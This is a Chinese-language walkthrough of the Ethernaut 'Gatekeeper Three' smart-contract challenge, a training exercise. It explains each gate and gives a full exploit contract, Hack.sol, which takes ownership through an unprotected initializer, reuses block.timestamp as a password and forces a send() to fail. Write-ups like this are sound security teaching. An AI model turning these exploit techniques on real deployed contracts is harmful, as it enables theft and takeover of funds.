Appearance
闯关Ethernaut:Gatekeeper Three 的巧妙破解之路
在Web3安全领域,Ethernaut 系列挑战以其精妙的设计和对智能合约漏洞的深度挖掘而闻名。今天,我们将深入探讨其中一个引人入胜的关卡——“Gatekeeper Three”,看看我们如何步步为营,闯过三道难关,最终成为合约的“入场者”(entrant)。
挑战概览:Gatekeeper Three
目标: 调用 GatekeeperThree 合约的 enter() 函数,并将 entrant 变量设置为我们的地址。
关卡提示:
- 回顾低级函数的返回值。
- 注意语义。
- 刷新以太坊存储工作原理的知识。
这些提示像谜语一般,指引我们解开谜题的关键。让我们逐一剖析 GatekeeperThree 合约及其三道守卫。
深入合约:三道守卫
GatekeeperThree.sol 合约的核心在于 enter() 函数,它被三个 modifier(修饰符)所保护:gateOne、gateTwo 和 gateThree。只有这三个条件都被满足,我们才能成功进入。
solidity
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
第一道守卫:gateOne()
solidity
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
这里是经典的 msg.sender 和 tx.origin 的区分考察点。
msg.sender == owner:要求调用enter()函数的直接调用者必须是owner。tx.origin != owner:要求发起整个交易的外部账户(EOA)不能是owner。
这两条 require 语句看似矛盾,但通过一个中间合约调用就能完美解决:
- 我们部署一个攻击合约(
Hack.sol)。 - 在攻击合约中,我们首先调用
GatekeeperThree的construct0r()函数(注意是construct0r而非constructor),将攻击合约自身设置为GatekeeperThree的owner。 - 然后,在攻击合约中调用
GatekeeperThree.enter()。此时,对于GatekeeperThree.enter()来说:msg.sender是攻击合约的地址(我们已经将它设置为owner)。tx.origin是最初发起交易的 EOA 地址(即部署攻击合约的账户),这个 EOA 地址不是owner(因为owner是攻击合约)。
完美!第一道守卫通过。
第二道守卫:gateTwo()
solidity
modifier gateTwo() {
require(allowEntrance == true);
_;
}
这道守卫要求 allowEntrance 变量必须为 true。我们看看哪个函数可以修改它:
solidity
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
getAllowance() 函数可以设置 allowEntrance 为 true,但它需要满足一个条件:trick.checkPassword(_password) 返回 true。trick 是 SimpleTrick 合约的实例。
我们来看 SimpleTrick.sol 中的 checkPassword() 函数:
solidity
contract SimpleTrick {
// ...
uint256 private password = block.timestamp; // 注意这里
// ...
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) { // 比较
return true;
}
password = block.timestamp; // 不匹配则更新
return false;
}
}
SimpleTrick 合约在部署时,其 password 变量会被初始化为当前的 block.timestamp。而 checkPassword 函数只有当传入的 _password 等于当前的 password 时才返回 true。如果密码不匹配,password 就会被更新为新的 block.timestamp。
这里的关键在于时序攻击(timing attack)和 block.timestamp 的特性。为了让 _password == password 成立,我们需要在 SimpleTrick 被创建的同一个区块(甚至通常是同一个交易)中,获取到创建时的 block.timestamp,并立即用这个值去调用 getAllowance()。
攻击步骤:
GatekeeperThree合约需要先调用createTrick()来部署SimpleTrick实例。- 在
createTrick()被调用后,我们立即在攻击合约中获取当前的block.timestamp。 - 然后,使用这个
timestamp作为参数,调用GatekeeperThree.getAllowance()。 由于这些操作发生在同一个交易中,block.timestamp的值在很大程度上是稳定的,因此_password将与SimpleTrick内部的password匹配,allowEntrance成功设置为true。
第三道守卫:gateThree()
solidity
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
这道守卫最为巧妙,也是最能体现 Ethernaut 提示“回顾低级函数返回值”的地方。它包含两个条件:
address(this).balance > 0.001 ether:GatekeeperThree合约的余额必须大于 0.001 ether。payable(owner).send(0.001 ether) == false:向owner地址发送 0.001 ether,并且send()函数必须返回false(表示发送失败)。
要让 send() 返回 false,同时合约有足够的余额,通常有几种情况:
- 接收方是一个合约,但它没有
receive()或fallback()函数来接收 Ether。 - 接收方是一个合约,其
receive()或fallback()函数消耗了超过send()函数默认的 2300 gas 限制,导致交易失败。 - 接收方是一个合约,其
receive()或fallback()函数明确地revert()。
结合我们在 gateOne 中将攻击合约设置为 owner 的策略,这里就迎刃而解了:
- 在攻击合约中调用
GatekeeperThree.construct0r(),将攻击合约自身设置为owner。 - 从攻击合约向
GatekeeperThree转入超过0.001 ether的金额,以满足余额条件。 - 由于攻击合约 (
Hack.sol) 并没有实现receive()或fallback()函数,当GatekeeperThree尝试向owner(即攻击合约)发送0.001 ether时,send()函数将会失败并返回false。
至此,三道守卫全部破解!
完整攻击脚本:Hack.sol
为了将所有破解步骤串联起来,我们需要一个攻击合约 Hack.sol:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GatekeeperThree.sol";
contract Hack {
GatekeeperThree private immutable target;
constructor(address _target) payable {
target = GatekeeperThree(payable(_target));
}
function doEnter() external payable {
// 1. 破解 gateOne 和 gateThree (将 Hack 合约设置为 owner)
target.construct0r();
// 2. 部署 SimpleTrick 合约
target.createTrick();
// 3. 破解 gateTwo (获取 block.timestamp 并调用 getAllowance)
uint256 password = block.timestamp; // 获取当前时间戳
target.getAllowance(password); // 使用时间戳获取许可
// 4. 确保 GatekeeperThree 有足够的余额,同时为 gateThree 的失败转账做准备
// 转账 0.0011 ether 到 GatekeeperThree 合约,确保其余额 > 0.001 ether
uint256 amount = 0.001 ether + 0.0001 ether;
payable(address(target)).transfer(amount);
// 5. 调用 enter(),所有守卫已通过
target.enter();
}
}
攻击流程:
- 部署
Hack合约,传入GatekeeperThree的地址。 - 调用
Hack.doEnter()函数,同时向Hack合约转入足够的 Ether(例如 0.0011 ether 或更多,以覆盖给GatekeeperThree转账的需要)。
在 doEnter() 中:
target.construct0r();:将Hack合约设置为GatekeeperThree的owner。这为gateOne和gateThree的破解奠定了基础。target.createTrick();:部署SimpleTrick合约。uint256 password = block.timestamp;:捕获当前的block.timestamp。target.getAllowance(password);:使用捕获的时间戳调用getAllowance,成功设置allowEntrance = true。payable(address(target)).transfer(amount);:向GatekeeperThree合约转账,使其余额大于 0.001 ether。target.enter();:最后一步,调用enter()。此时:gateOne:msg.sender(Hack合约) ==owner(Hack合约),tx.origin(EOA) !=owner(Hack合约)。通过。gateTwo:allowEntrance已经通过getAllowance设置为true。通过。gateThree:GatekeeperThree余额 > 0.001 ether。payable(owner).send(0.001 ether)会尝试向Hack合约发送,但Hack没有receive/fallback函数,导致send()失败并返回false。通过。
所有守卫都已通过,entrant 变量最终会被设置为 tx.origin(即部署 Hack 合约的 EOA 地址)。
总结与学习
“Gatekeeper Three”是一个设计精良的 Ethernaut 挑战,它巧妙地融合了多个智能合约安全知识点:
msg.sendervs.tx.origin: 理解这两者在合约交互中的区别至关重要。- 低级函数
send()的行为: 掌握send()在不同场景下(如接收方是合约且无receive/fallback函数)的返回值,以及其 gas 限制。 - 时序攻击与
block.timestamp: 了解block.timestamp的特性及其在同一交易中可预测性。 - 合约初始化模式:
construct0r这种非标准命名函数作为初始化器的使用。
通过解决这类挑战,我们不仅能提升对 Solidity 语言特性的理解,更能培养发现和利用智能合约漏洞的思维模式,这对于构建更安全的Web3应用至关重要。这正是 Ethernaut 系列的魅力所在!